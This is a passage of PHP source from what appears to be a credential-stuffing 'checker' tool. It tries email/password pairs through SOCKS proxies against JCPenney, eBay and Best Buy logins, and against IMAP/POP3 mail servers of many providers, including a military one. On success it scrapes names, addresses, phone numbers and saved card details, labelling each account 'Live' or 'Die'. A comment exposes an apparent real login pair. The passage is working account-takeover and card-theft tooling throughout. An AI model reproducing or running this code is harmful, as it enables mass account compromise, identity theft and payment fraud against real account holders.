6930 $data = "_dyncharset=ISO-8859-1&_dynSessConf=$dynSessConf&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.login=".$m."&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.login=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.password=".$p."&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.password=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=%2Fdotcom%2Fjsp%2Fprofile%2Fsecure%2Fajax%2FsigninJson.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginSuccessURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginErrorURL=%2Fdotcom%2Fjsp%2Fprofile%2Fsecure%2Fajax%2FsigninJson.jsp&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.loginErrorURL=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=login&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=+&_DARGS=%2Fdotcom%2Fjsp%2Fprofile%2Fsecure%2FsigninModal.jsp.loginAjax";
6931 $page = $curl->post($url1, $data, 1, 1, 0);
6932 //return $page;
6933
6934 if (stristr($page,"dotcom/jsp/giftregistry/secure/dashboard/dashboard.jsp")) {
6935
6936 $page = $curl->get('https://www.jcpenney.com/dotcom/jsp/profile/secure/myPaymentMethods.jsp');
6937 $ginfo = getStr($page,'>Save credit card to your account to enjoy faster checkout.','"add new credit card"');
6938 $ginfo = preg_replace('#\n#',"",$ginfo);
6939 $name = getStr($ginfo, '<span class="disp_blk"><strong>', '</strong>');
6940 $address = getStr($ginfo, '</strong></span> <span class="disp_blk">', '<br/>');
6941 $city = getStr($ginfo, '<!-- Added as fix for 2218 end -->', '</span>');
6942 $phone = getStr($ginfo, '</span><span>phone: ', '</span></div>');
6943
6944 $card = getStr($ginfo, '<div class="flt_lft padl10"><p>', '</p><p>');
6945 $exp = getStr($ginfo, 'expires', '</p></div>');
6946 $card = "<font color=lime>[ ".$card." ]</font>";
6947 if($card == '')
6948 {
6949 $card = 'No Card';
6950 }
6951 $page = $curl->get('https://www.jcpenney.com/dotcom/jsp/profile/secure/orderHistory.jsp');
6952 $code = explode('&userAction=orderHistory">', $page);
6953 $order = count($code)-1;
6954
6955
6956
6957 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $name | $address | $city | $phone | $card | $exp | Order: $order<br>";
6958 } elseif (strpos($page, "The email address or password you entered were not found in our records")) {
6959 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
6960 '<br>';
6961 $tdie++;
6962 }
6963
6964
6965 else {
6966 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6967 '|' . '<br>';
6968 }
6969 flush(); ob_flush();
6970
6971 $curl->close();
6972 unset($curl); // destroy object
6973 }
6974 elseif(!$page)
6975 {
6976 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6977 '|' . '<br>';
6978 }
6979 else {
6980 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
6981 '|' . '<br>';
6982 }
6983
6984}
6985function ebay($m,$p,$sock)
6986{
6987 $curl = new curl;
6988 $curl->cookiefile(null);
6989 $curl->timeout("30");
6990 if($sock != "") { $curl->proxy($sock); }
6991 $curl->ssl(0, 2);
6992
6993 $cookie = tempnam('cookie','die_'.rand(100000000000,999999999999) .'.txt');
6994 $url = 'http://wap.ebay.com/Login.aspx?emvcc=0&nbcol=0%7Cnull';
6995 $url2 = 'http://wap.ebay.com/Member/MyEbay.aspx?nborh=&emvAD=1366x277&emvcc=0&nbpr=1&nbcol=1|unknown';
6996
6997 $page = $curl->get($url);
6998 if ($page) {
6999 $user = current(explode("@",$m));
7000 $data = "uid=$user&upw=$p&uex=True&btnSubmit=Sign+in&nbActionFormEncoding=UTF-8&emvcc=0";
7001 $page = $curl->post($url, $data, 1, 1, 0);
7002
7003 if (!strpos($page,"Your sign in information is not valid.")) {
7004
7005 $page = $curl->get($url2);
7006 if (strpos($page,'Keep me signed in for one week'))
7007 {
7008 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .'<br>';
7009 }
7010 else
7011 {
7012 $bill = str_replace("\n","|",str_replace("\n\n","\n",strip_tags(get_string_between($page,'ng> (',')</d'))));
7013 $bill = preg_replace('/[^a-zA-Z0-9_: | \-()\/%-&]/s','',strip_tags($bill));
7014 }
7015 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ Feedback ($bill<br>";
7016 }
7017 elseif (strpos($page, "Your sign in information is not valid."))
7018 {
7019 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
7020 '<br>';
7021 }
7022 else {
7023 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
7024 '|' . '<br>';
7025 }
7026 flush(); ob_flush();
7027
7028 $curl->close();
7029 unset($curl); // destroy object
7030 }
7031 elseif(!$page)
7032 {
7033 return '<font color=pink>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
7034 '|' . '<br>';
7035 }
7036 else {
7037 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
7038 '|' . '<br>';
7039 }
7040
7041}
7042function bestbuy($m,$p,$sock)
7043{
7044 //pycoder@live.com|Quocthang123
7045 $url1 = "http://www.bestbuy.com/site/index.jsp";
7046 $url2 = "http://www.bestbuy.com/site/olstemplatemapper.jsp?id=pcmcat274800050019&type=page&i=3";
7047 $url3 = "https://www-ssl.bestbuy.com/site/olstemplatemapper.jsp?_DARGS=/site/en_US/registration/fragments/olssigningiftregistryform.jsp.frmSignIn";
7048 $url4 = "https://www-ssl.bestbuy.com/site/olspage.jsp?id=pcat17029&type=page";
7049
7050$cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
7051 $curl = new curl;
7052 $curl->cookiefile($cookie);
7053 $curl->timeout("30");
7054 $curl->ssl(0, 2);
7055 if($sock != '')
7056 {
7057 $curl->proxy($sock);
7058 }
7059 $page = $curl->get($url2);
7060
7061 if ($page) {
7062
7063 $_dynSessConf = get_string_between($page, '_dynSessConf" value="', '"');
7064
7065
7066 $data3 = "_dyncharset=UTF-8&_dynSessConf=".$_dynSessConf."&TxtEmail=".urlencode($m)."&_D%3ATxtEmail=+&PwdPassword=".urlencode($p)."&_D%3APwdPassword=+&%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.loginErrorURL=%2Fsite%2Folstemplatemapper.jsp%3Fid%3Dpcat17000%26type%3Dpage&_D%3A%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.loginErrorURL=+&%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.logInSuccessURL=http%3A%2F%2Fwww.bestbuy.com%3A80%2Fsite%2Folstemplatemapper.jsp%3Fid%3Dpcmcat274800050019%26type%3Dpage%26skuId%3D%26strId%3D%26strClr%3D%26dnmId%3D&_D%3A%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.logInSuccessURL=+&%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.employeeConfirmationURL=%2Fsite%2Folstemplatemapper.jsp%3Fid%3Dpcat17500%26type%3Dpage&_D%3A%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.employeeConfirmationURL=+&%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.employeeCartLimitErrorURL=http%3A%2F%2Fwww.bestbuy.com%3A80%2Fsite%2Folstemplatemapper.jsp%3Fid%3Dpcat17005%26type%3Dpage&_D%3A%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.employeeCartLimitErrorURL=+&%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.myAccountUrl=&_D%3A%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.myAccountUrl=+&%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.logoutSuccessURL=http%3A%2F%2Fwww.bestbuy.com%3A80%2Fsite%2Folstemplatemapper.jsp%3Fid%3Dpcmcat274800050019%26type%3Dpage%26skuId%3D%26strId%3D%26strClr%3D%26dnmId%3D&_D%3A%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.logoutSuccessURL=+&loginCartPreference=profile&_D%3AloginCartPreference=+&%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.preconditionFailUrl=https%3A%2F%2Fwww-ssl.bestbuy.com%3A443%2Fsite%2Folspage.jsp%3Fid%3Dpcat17508%26type%3Dpage&_D%3A%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.preconditionFailUrl=+&%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.preconditionFailBackwardUrl=https%3A%2F%2Fwww-ssl.bestbuy.com%3A443%2Fsite%2Folspage.jsp%3Fid%3Dpcat17513%26type%3Dpage&_D%3A%2Fbestbuy%2Fdigiterra%2Fuserprofiling%2FSignInProfileFormHandler.preconditionFailBackwardUrl=+&checkYN=Yes&Salmon=FA7F2&pcatid=pcat17000&Cmdsignin=dummy&_D%3ACmdsignin=+&CmdCreate=&csrfToken=&_DARGS=%2Fsite%2Fen_US%2Fregistration%2Ffragments%2Folssigningiftregistryform.jsp.frmSignIn";
7067 $curl->referer($url2);
7068 $page = $curl->post($url3, $data3, 1, 1, 0);
7069
7070 if(strpos($page,'Access Denied'))
7071 {
7072 return '<font color=red>Socks Die</font> (Block IP) ==> ' . $sock . ' | ' . $m . ' | ' . $p .
7073 '|' . '<br>';
7074 }
7075 elseif (inStr($page, 'Sign Out')) {
7076 $page = $curl->get("https://www-ssl.bestbuy.com/site/olspage.jsp?id=pcat17026&type=page");
7077 $reward = getStr($page,'<div class="rewards">','</p></div>');
7078 $reward = strip_tags(str_replace("</span>",' | ',$reward));
7079
7080 $page = $curl->get("https://www-ssl.bestbuy.com/site/olspage.jsp?type=page&id=pcat17029");
7081 $bill = getStr($page,'"firstName":"','"},"nickName');
7082 $bill = str_replace(array('","lastName":"','","addressLine1":"','","city":"','","state":"','","zip":"','","id":"','","phone":"'), " | ", $bill);
7083
7084 $cc = getStr($page,'var ccData = ','</script>');
7085 $cc = str_replace(array("\n",";"), "", $cc);
7086
7087 $cc = json_decode($cc,true);
7088 foreach ($cc['model']['othercards'] as $key) {
7089 $card .= " [".$key['type']."-".$key['cardNumber']."-".$key['expires']."]";
7090 }
7091
7092 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill<br>";
7093 } elseif (!inStr($page,'Sign Out')) {
7094 return '<font color=red>Die</font> ==> ' . $sock . '|' . $m . '|' . $p .
7095 '<br>';
7096 } else {
7097 return '<font color=pink>Unknow</font> ==> ' . $sock . '|' . $m . '|' . $p .
7098 '<br>';
7099 }
7100 } else
7101 {
7102 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
7103 '|' . '<br>';
7104 }
7105
7106 $curl->close();
7107 unset($curl); // destroy object
7108 flush();
7109
7110}
7111class Mail{
7112 private $email;
7113 private $pwd;
7114
7115 public function __construct(){
7116 $this->email = "";
7117 $this->pwd = "";
7118 }
7119
7120 public function check($email, $pwd){
7121 $this->email = $email;
7122 $this->pwd = $pwd;
7123 list($username, $domain) = explode('@', $this->email);
7124 $domain = strtolower($domain);
7125 if(strpos($domain,'yahoo.') !== false){
7126 return $this->check_yahoo();
7127 }elseif(strpos($domain,'ymail.') !== false){
7128 return $this->check_yahoo();
7129 }elseif(strpos($domain,'rocketmail.') !== false){
7130 return $this->check_yahoo();
7131 }elseif(strpos($domain,'att.') !== false){
7132 return $this->check_yahoo();
7133 }elseif(strpos($domain,'pya8.') !== false){
7134 return $this->check_gmail();
7135 }elseif(strpos($domain,'bellsouth.') !== false){
7136 return $this->check_yahoo();
7137 }elseif(strpos($domain,'ameritech.') !== false){
7138 return $this->check_yahoo();
7139 }elseif(strpos($domain,'sbcglobal.') !== false){
7140 return $this->check_yahoo();
7141 }elseif(strpos($domain,'btinternet.') !== false){
7142 return $this->check_yahoo();
7143 }elseif(strpos($domain,'gmail.') !== false){
7144 return $this->check_gmail();
7145 }elseif(strpos($domain,'googlemail.') !== false){
7146 return $this->check_gmail();
7147 }elseif(strpos($domain,'aol.') !== false){
7148 return $this->check_aol();
7149 }elseif(strpos($domain,'love.') !== false){
7150 return $this->check_aol();
7151 }elseif(strpos($domain,'games.') !== false){
7152 return $this->check_aol();
7153 }elseif(strpos($domain,'aim.') !== false){
7154 return $this->check_aim();
7155 }elseif(strpos($domain,'me.') !== false){
7156 return $this->check_me();
7157 }elseif(strpos($domain,'mac.') !== false){
7158 return $this->check_me();
7159 }elseif(strpos($domain,'live.') !== false){
7160 return $this->check_hotmail();
7161 }elseif(strpos($domain,'hotmail.') !== false){
7162 return $this->check_hotmail();
7163 }elseif(strpos($domain,'msn.') !== false){
7164 return $this->check_hotmail();
7165 }elseif(strpos($domain,'compaq.') !== false){
7166 return $this->check_hotmail();
7167 }elseif(strpos($domain,'messengeruser.') !== false){
7168 return $this->check_hotmail();
7169 }elseif(strpos($domain,'passport.') !== false){
7170 return $this->check_hotmail();
7171 }elseif(strpos($domain,'webtv.') !== false){
7172 return $this->check_hotmail();
7173 }elseif(strpos($domain,'1and1.') !== false){
7174 return $this->check_1and1();
7175 }elseif(strpos($domain,'airmail.') !== false){
7176 return $this->check_airmail();
7177 }elseif(strpos($domain,'cableone') !== false){
7178 return $this->check_optonline();
7179 }elseif(strpos($domain,'cablevision') !== false){
7180 return $this->check_gmail();
7181 }elseif(strpos($domain,'centurylink.') !== false){
7182 return $this->check_centurylink();
7183 }elseif(strpos($domain,'charter.') !== false){
7184 return $this->check_charter();
7185 }elseif(strpos($domain,'clearwire.') !== false){
7186 return $this->check_gmail();
7187 }elseif(strpos($domain,'comcast.') !== false){
7188 return $this->check_comcast();
7189 }elseif(strpos($domain,'comnetcom') !== false){
7190 return $this->check_comnetcom();
7191 }elseif(strpos($domain,'compuserve') !== false){
7192 return -1;
7193 }elseif(strpos($domain,'cs.com') !== false){
7194 return -1;
7195 }elseif(strpos($domain,'coqui.') !== false){
7196 return -1;
7197 }elseif(strpos($domain,'covad.') !== false){
7198 return -1;
7199 }elseif(strpos($domain,'cox.net') !== false){
7200 return $this->check_cox();
7201 }elseif(strpos($domain,'coxmail') !== false){
7202 return $this->check_coxmail();
7203 }elseif(strpos($domain,'earthlink') !== false){
7204 return $this->check_earthlink();
7205 }elseif(strpos($domain,'embarq') !== false){
7206 return $this->check_centurylink();
7207 }elseif(strpos($domain,'excite') !== false){
7208 return -1;
7209 }elseif(strpos($domain,'frontier') !== false){
7210 return -1;
7211 }elseif(strpos($domain,'grandecom') !== false){
7212 return -1;
7213 }elseif(strpos($domain,'netcom') !== false){
7214 return -1;
7215 }elseif(strpos($domain,'insightbb') !== false){
7216 return -1;
7217 }elseif(strpos($domain,'juno.') !== false){
7218 return $this->check_juno();
7219 }elseif(strpos($domain,'mail.com') !== false){
7220 return -1;
7221 }elseif(strpos($domain,'mediacom') !== false){
7222 return -1;
7223 }elseif(strpos($domain,'mindspring') !== false){
7224 return -1;
7225 }elseif(strpos($domain,'netaddress') !== false){
7226 return -1;
7227 }elseif(strpos($domain,'netzero') !== false){
7228 return $this->check_netzero();
7229 }elseif(strpos($domain,'netscape') !== false){
7230 return -1;
7231 }elseif(strpos($domain,'optonline') !== false){
7232 return $this->check_optonline();
7233 }elseif(strpos($domain,'pipeline') !== false){
7234 return -1;
7235 }elseif(strpos($domain,'sky.') !== false){
7236 return $this->check_sky();
7237 }elseif(strpos($domain,'qwest') !== false){
7238 return $this->check_qwest();
7239 }elseif(strpos($domain,'rr.com') !== false){
7240 return -1;
7241 }elseif(strpos($domain,'surewest') !== false){
7242 return -1;
7243 }elseif(strpos($domain,'verizon.net') !== false){
7244 return $this->check_verizon();
7245 }elseif(strpos($domain,'us.army.mil') !== false){
7246 return $this->check_usarmy();
7247 }elseif(strpos($domain,'talktalk') !== false){
7248 return $this->check_talktalk();
7249 }elseif(strpos($domain,'ntlworld') !== false){
7250 return $this->check_ntlworld();
7251 }elseif(strpos($domain,'blueyonder') !== false){
7252 return $this->check_blueyonder();
7253 }elseif(strpos($domain,'virgin.net') !== false){
7254 return $this->check_virgin();
7255 }elseif(strpos($domain,'virginmedia') !== false){
7256 return $this->check_virginmedia();
7257 }elseif(strpos($domain,'optimum') !== false){
7258 return $this->check_optimum();
7259 }elseif(strpos($domain,'postmaster') !== false){
7260 return $this->check_postmaster();
7261 }elseif(strpos($domain,'wavecable') !== false){
7262 return -1;
7263 }elseif(strpos($domain,'windstream') !== false){
7264 return -1;
7265 }else{
7266 return -1;
7267 }
7268 }
7269
7270
7271 private function connect_imap($host, $port = 993, $ssl = '/ssl'){
7272 $hostname = '{' . $host . ':' . $port . '/imap' . $ssl . '}INBOX';
7273
7274 imap_timeout(IMAP_OPENTIMEOUT, 5);
7275 $imap = @imap_open($hostname, $this->email, $this->pwd, OP_READONLY, 0);
7276
7277 if(!$imap){
7278 $result = imap_last_error();
7279 }else{
7280 $result = 'OK';
7281 }
7282
7283 @imap_close($imap);
7284
7285 if($result=='OK'){
7286 return 1;
7287 }
7288
7289 return $result;
7290 }
7291
7292 private function connect_pop3($host, $port = 995, $ssl = '/ssl'){
7293 $hostname = '{' . $host . ':' . $port . '/pop3' . $ssl . '}INBOX';
7294
7295 imap_timeout(IMAP_OPENTIMEOUT, 5);
7296 $imap = @imap_open($hostname, $this->email, $this->pwd, NULL, 0);
7297
7298 if(!$imap){
7299 $result = imap_errors();
7300 }else{
7301 $result = 'OK';
7302 }
7303
7304 @imap_close($imap);
7305
7306 if(is_array($result)){
7307 return $result[0];
7308 }
7309
7310 return 1;
7311 }
7312
7313 private function check_netzero(){
7314 return $this->connect_pop3('pop.netzero.com');
7315 }
7316
7317 private function check_postmaster(){
7318 return $this->connect_imap('imap.postmaster.co.uk');
7319 }
7320
7321 private function check_ntlworld(){
7322 return $this->connect_imap('imap.ntlworld.com');
7323 }
7324
7325 private function check_blueyonder(){
7326 return $this->connect_imap('imap4.blueyonder.co.uk');
7327 }
7328
7329 private function check_virgin(){
7330 return $this->connect_imap('imap4.virgin.net');
7331 }
7332
7333 private function check_virginmedia(){
7334 return $this->connect_imap('imap.virginmedia.com');
7335 }
7336
7337 private function check_talktalk(){
7338 return $this->connect_imap('mail.talktalk.net', 143, '');
7339 }
7340
7341 private function check_yahoo(){
7342 return $this->connect_imap('imap.mail.yahoo.com');
7343 }
7344
7345 private function check_gmail(){
7346 return $this->connect_imap('imap.gmail.com');
7347 }
7348
7349 private function check_aol(){
7350 return $this->connect_imap('imap.aol.com');
7351 }
7352
7353 private function check_aim(){
7354 return $this->connect_imap('imap.aim.com', 143, '');
7355 }
7356
7357 private function check_me(){
7358 return $this->connect_imap('imap.mail.me.com');
7359 }
7360
7361 private function check_hotmail(){
7362 return $this->connect_pop3('pop3.live.com');
7363 }
7364
7365 private function check_1and1(){
7366 return $this->connect_imap('imap.1and1.com');
7367 }
7368
7369 private function check_airmail(){
7370 return $this->connect_imap('imap.airmail.net', 143, '');
7371 }
7372
7373 private function check_optonline(){
7374 return $this->connect_pop3('mail.optonline.net', 110, '');
7375 }
7376
7377 private function check_optimum(){
7378 return $this->connect_pop3('mail.optimum.net', 110, '');
7379 }
7380
7381 private function check_juno(){
7382 return $this->connect_pop3('pop.juno.com');
7383 }
7384
7385 private function check_verizon(){
7386 return $this->connect_pop3('pop.verizon.net');
7387 }
7388
7389 private function check_sky(){
7390 return $this->connect_imap('imap.tools.sky.com');
7391 }
7392
7393 private function check_usarmy(){
7394 return $this->connect_imap('imap.us.army.mil');
7395 }
7396
7397 private function check_qwest(){
7398 return $this->connect_pop3('pop.mpls.qwest.net', 110, '');
7399 }
7400
7401 private function check_earthlink(){
7402 return $this->connect_pop3('pop.earthlink.net', 110, '');
7403 }
7404
7405 private function check_coxmail(){
7406 return $this->connect_imap('imap.coxmail.com');
7407 }
7408
7409 private function check_cox(){
7410 return $this->connect_pop3('pop.cox.net', 110, '');
7411 }
7412
7413 private function check_comnetcom(){
7414 return $this->connect_pop3('pop.comnetcom.net', 110, '');
7415 }
7416
7417 private function check_comcast(){
7418 return $this->connect_pop3('mail.comcast.net', 110, '');
7419 }
7420
7421 private function check_charter(){
7422 return $this->connect_imap('IMAP.charter.net', 143, '');
7423 }
7424
7425 private function check_centurylink(){
7426 return $this->connect_pop3('pop.centurylink.net');
7427 }
7428}
7429
7430class curl
7431{
7432 var $ch, $agent, $cookiefile, $error, $info;
7433 function curl()
7434 {
7435 $this->agent = $this->get_agent();
7436 $this->ch = curl_init();
7437 curl_setopt($this->ch, CURLOPT_USERAGENT, $this->agent);
7438 curl_setopt($this->ch, CURLOPT_HEADER, 1);
7439 curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1);
7440 curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, true);
7441 curl_setopt($this->ch, CURLOPT_HTTPHEADER, array( 'Expect:' ) );
7442 }
7443
7444 function ssl($veryfyPeer, $verifyHost)
7445 {
7446 curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, $veryfyPeer);
7447 curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, $verifyHost);
7448 }
7449 function timeout($time)
7450 {
7451 //curl_setopt($this->ch, CURLOPT_DNS_CACHE_TIMEOUT, 1);
7452 curl_setopt($this->ch, CURLOPT_TIMEOUT, $time);
7453 curl_setopt($this->ch, CURLOPT_CONNECTTIMEOUT, $time);
7454 }
7455
7456 function cookie($cookie)
7457 {
7458 curl_setopt($this->ch, CURLOPT_COOKIE, $cookie);
7459 }
7460
7461 function cookiefile($cookie_file_path = null)
7462 {
7463 $this->cookiefile = $cookie_file_path;;
7464 $fp = fopen($this->cookiefile,'wb');fclose($fp);
7465 curl_setopt ($this->ch, CURLOPT_COOKIEJAR, $this->cookiefile);
7466 curl_setopt ($this->ch, CURLOPT_COOKIEFILE, $this->cookiefile);
7467 }
7468 function referer($ref)
7469 {
7470 curl_setopt($this->ch, CURLOPT_REFERER, $ref);
7471 }
7472 function proxy($sock)
7473 {
7474 curl_setopt($this->ch, CURLOPT_HTTPPROXYTUNNEL, true);
7475 curl_setopt($this->ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
7476 curl_setopt($this->ch, CURLOPT_PROXY, $sock);
7477 }
7478
7479 function post($url, $data, $hasHeader = true, $hasBody = true, $httpQuery)
7480 {
7481 curl_setopt($this->ch, CURLOPT_POST, 1);
7482 if ($httpQuery) {
7483 curl_setopt($this->ch, CURLOPT_POSTFIELDS, http_build_query($data));
7484 } else {
7485 curl_setopt($this->ch, CURLOPT_POSTFIELDS, $data);
7486 }
7487 return $this->getPage($url, $hasHeader, $hasBody);
7488 }
7489 function get($url, $hasHeader = true, $hasBody = true)
7490 {
7491 curl_setopt($this->ch, CURLOPT_POST, 0);
7492 return $this->getPage($url, $hasHeader, $hasBody);
7493 }
7494 function getPage($url, $hasHeader = true, $hasBody = true)
7495 {
7496 curl_setopt($this->ch, CURLOPT_HEADER, $hasHeader);
7497 curl_setopt($this->ch, CURLOPT_NOBODY, $hasBody ? 0 : 1);
7498 curl_setopt($this->ch, CURLOPT_URL, $url);
7499 $data = curl_exec($this->ch);
7500 $this->error = curl_error($this->ch);
7501 $this->info = curl_getinfo($this->ch);
7502 return $data;
7503 }
7504
7505
7506 function get_agent()
7507 {
7508 $z = rand(0, 9);
7509 return "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0";
7510 }
7511 function close()
7512 {
7513 if (file_exists($this->cookiefile))
7514 @unlink($this->cookiefile);
7515 curl_close($this->ch);
7516 }
7517}
7518function createtxt()
7519{
7520 $cookie_file_path = "cookies/" . md5(time() . rand(0, 999)) . "_" . rand(0, 999) .
7521 "_cookie.txt";
7522 $fp = fopen($cookie_file_path, 'wb');
7523 fclose($fp);
7524 return $cookie_file_path;
7525}
7526function writeFile($dir, $data)
7527{
7528 $fp = fopen($dir, "w");
7529 fwrite($fp, $data);
7530 fclose($fp);
7531}
7532function R($s,$e){
7533 preg_match("/".$e."/",$s,$m);
7534 return $m[1];
7535}
7536function Re($s,$e){
7537 return html_entity_decode(R($s,$e));
7538}
7539
7540
7541function CheckSock($sock,$cookie,$timeout){
7542 $timeout = 4;
7543 $url = "http://google.com";
7544 $s = _curl($url,"",$cookie,$sock,$timeout);
7545 if(stristr($s,'<!doctype html><html')){
7546 return "1";
7547 }
7548 else
7549 {
7550 return "2";
7551 }
7552}
7553function detect_mail($mail)
7554{
7555 if (preg_match('/^[^@]+@([a-zA-Z0-9._-]+\.[a-zA-Z]+)$/', $mail, $match))
7556 {
7557 $domain = $match[1];
7558 if(inStr($domain,array('gmail.com')))
7559 {
7560 $key = 1;
7561 }
7562 elseif(inStr($domain,array('hotmail.com','live.com')))
7563 {
7564 $key = 2;
7565 }
7566 elseif(inStr($domain,array('yahoo.com','att.net','yahoo.co.jp','yahoo.co.uk','yahoo','scbglobal.net','bellsouth.net','rocketmail')))
7567 {
7568 $key = 3;
7569 }
7570 elseif(inStr($domain,array('telkomsa.net')))
7571 {
7572 $key = 4;
7573 }
7574 }
7575 else $key = 0;
7576 return $key;
7577}
7578Function mail_config($domain)
7579{
7580 global $mail_config;
7581 $found = false;
7582 $key = -1;
7583 foreach ($mail_config as $k => $v)
7584 {
7585 if (inStr($v[0],array($domain)))
7586 {
7587 $key = $k;
7588 $found = true;
7589 break;
7590 }
7591 }
7592 unset($k);
7593 unset($v);
7594 return $key;
7595}
7596Function writetofile($file, $content) {
7597 $fp=fopen($file, 'a');
7598 if ($fp) {
7599 if (is_writable($file)) {
7600 fwrite($fp, $content);
7601 fclose($fp);
7602 } else {
7603 fclose($fp);
7604 die("File is not writeable");
7605 }
7606 } else {
7607 die("Can't open file to write");
7608 }
7609}
7610
7611
7612function getHiddenFormInputs($html, $Name){
7613 if(!preg_match('|<form[^>]+'.$Name.'[^>]+>.*</form>|Usi', $html, $form)){
7614 return '';
7615 }
7616
7617 if(!preg_match_all('/<input[^>]+hidden[^>]*>/i', $form[0], $inputs)){
7618 return '';
7619 }
7620 $hiddenInputs = array();
7621 foreach($inputs[0] as $input){
7622 if (preg_match('|name\s*=\s*[\'"]([^\'"]+)[\'"]|i', $input, $name)){
7623 $hiddenInputs[$name[1]] = '';
7624 if (preg_match('|value\s*=\s*[\'"]([^\'"]*)[\'"]|i', $input, $value)){
7625 $hiddenInputs[$name[1]] = $value[1];
7626 }
7627 }
7628 }
7629 return $hiddenInputs;
7630}
7631
7632function serializePostFields($postFields){
7633 foreach($postFields as $key => $value){
7634 $value = urlencode($value);
7635 $postFields[$key] = "$key=$value";
7636 }
7637 $postFields = implode($postFields, '&');
7638 return $postFields;
7639}
7640
7641function getSocks($listSock, $delPort)
7642{
7643 $$listSock = str_replace(" ", ":", $listSock);
7644 $listSock = str_replace("|", ":", $listSock);
7645 $listSock = str_replace("/", ":", $listSock);
7646
7647 preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[:|-\s\/]\d{1,7}/", $listSock,
7648 $socks);
7649 $socks = array_unique($socks[0]);
7650 $socks2 = array();
7651 for ($i = 0; $i < count($socks); $i++) {
7652 if ($delPort) {
7653 if (stristr($socks[$i], $delPort)) {
7654 continue;
7655 }
7656 }
7657 if (strlen($socks[$i]) > 7)
7658 $socks2[] = str_replace(array(
7659 "|",
7660 "/",
7661 " ",
7662 "-"), ':', $socks[$i]);
7663 }
7664 return $socks2;
7665}
7666
7667function strToHex($string)
7668{
7669 $hex = '';
7670 for ($i = 0; $i < strlen($string); $i++) {
7671 $hex .= dechex(ord($string[$i]));
7672 }
7673 return $hex;
7674}
7675
7676function hexToStr($hex)
7677{
7678 $string = '';
7679 for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
7680 $string .= chr(hexdec($hex[$i] . $hex[$i + 1]));
7681 }
7682 return $string;
7683}
7684
7685function get_agent($z)
7686{
7687 return "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13";
7688}
7689
7690function GetCookieFile($hostname)
7691{
7692 $cookie_file_path = "cookies/$hostname.cookie.txt";
7693
7694 if (!file_exists($cookie_file_path)) {
7695 $fp = fopen($cookie_file_path, 'wb');
7696 fclose($fp);
7697 }
7698
7699 return $cookie_file_path;
7700}
7701
7702function GetCookies($page)
7703{
7704 $cookies = "";
7705 if (preg_match_all('/^Set-Cookie: (.*?);/m', $page, $temp)) {
7706 $cookies = implode('; ', $temp[1]);
7707 }
7708
7709 return $cookies;
7710}
7711
7712
7713function get_string_between($string, $start, $end)
7714{
7715 $string = " " . $string;
7716 $ini = strpos($string, $start);
7717 if ($ini == 0)
7718 return "";
7719 $ini += strlen($start);
7720 $len = strpos($string, $end, $ini) - $ini;
7721 return substr($string, $ini, $len);
7722}
7723
7724function removeHTML($str)
7725{
7726 $ret = array();
7727
7728 $str = str_replace(" ", "", $str);
7729 $arr = explode("|", $str);
7730 for ($i = 0; $i < count($arr); $i++) {
7731 $p = trim(strip_tags($arr[$i]));
7732 if (!empty($p))
7733 $ret[] = $p;
7734 }
7735
